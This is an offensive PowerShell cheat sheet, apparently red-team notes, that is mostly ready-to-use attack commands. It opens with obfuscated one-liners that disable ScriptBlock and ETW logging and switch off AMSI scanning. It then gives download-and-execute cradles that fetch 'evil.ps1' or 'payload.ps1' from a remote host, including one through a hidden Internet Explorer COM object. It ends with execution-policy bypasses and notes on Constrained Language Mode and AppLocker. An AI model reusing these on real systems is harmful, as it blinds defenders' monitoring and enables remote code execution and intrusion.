Executing PowerShell

Bypass Scriptblock logging and AMSI

[Reflection.Assembly]::"l`o`AdwIThPa`Rti`AlnamE"(('S'+'ystem'+'.C'+'ore'))."g`E`TTYPE"(('Sys'+'tem.Di'+'agno'+'stics.Event'+'i'+'ng.EventProv'+'i'+'der'))."gET`FI`eLd"(('m'+'_'+'enabled'),('NonP'+'ubl'+'ic'+',Instance'))."seTVa`l`Ue"([Ref]."a`sSem`BlY"."gE`T`TyPE"(('Sys'+'tem'+'.Mana'+'ge'+'ment.Aut'+'o'+'mation.Tracing.'+'PSEtwLo'+'g'+'Pro'+'vi'+'der'))."gEtFIe`Ld"(('e'+'tw'+'Provid'+'er'),('N'+'o'+'nPu'+'b'+'lic,Static'))."gE`Tva`lUe"($null),0)

S`eT-It`em ( 'V'+'aR' +  'IA' + (("{1}{0}"-f'1','blE:')+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Invisi-shell - NEEDED EVERY SESSION

RunWithPathAsAdmin.bat
RunWithRegistryNonAdmin.bat

Make sure you type exit finish the cleanup

Powershell is NOT powershell.exe. It is the System.Management.Automation.dll

Execute scripts in memory

iex ((New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1'))
iex (iwr 'http://192.168.230.1/evil.ps1')

$ie=New-Object -ComObject
InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.230.1/evil.ps1
');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

Execution Policy

powershell -ExecutionPolicy bypass
powershell -c <cmd>
powershell -encodedcommand
$env:PSExecutionPolicyPreference="bypass"

Constrained Language Mode - AppLocker / WinDefender

View language mode

$ExecutionContext.SessionState.LanguageMode

View AppLocker Policy

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Allow everyone (S-1-1-0) to run scripts in C:\Program Files